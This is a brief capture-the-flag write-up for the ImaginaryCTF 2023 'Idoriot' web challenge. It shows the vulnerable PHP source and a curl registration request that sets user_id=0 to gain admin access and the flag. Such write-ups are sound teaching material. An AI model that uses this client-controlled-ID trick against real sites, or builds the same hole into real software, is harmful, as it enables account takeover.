ImaginaryCTF 2023 - Idoriot
tl;dr:
Some idiot made this web site that you can log in to. The idiot even made it in php. I dunno.
Idoriot
Some idiot made this web site that you can log in to. The idiot even made it in php. I dunno.
Welcome, User ID: 4685491
Source Code
<?php
session_start();
// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}
// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}
// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);
// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1')->fetch();
// Check if the user is admin
if ($admin['user_id'] === $_SESSION['user_id']) {
// Read the flag from flag.txt
$flag = file_get_contents('flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
} else {
// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
}
?>
Inspecting the registration.php
we see that user_id
is pregenerated frontend side? wtf we just want to be user_id=0
and we are good to go so
curl -X POST -d 'username=hovno&password=hovno&user_id=0' http://idoriot.chal.imaginaryctf.org/register.php
login with hovno:hovno
and get the flag
Welcome, User ID: 0
Flag
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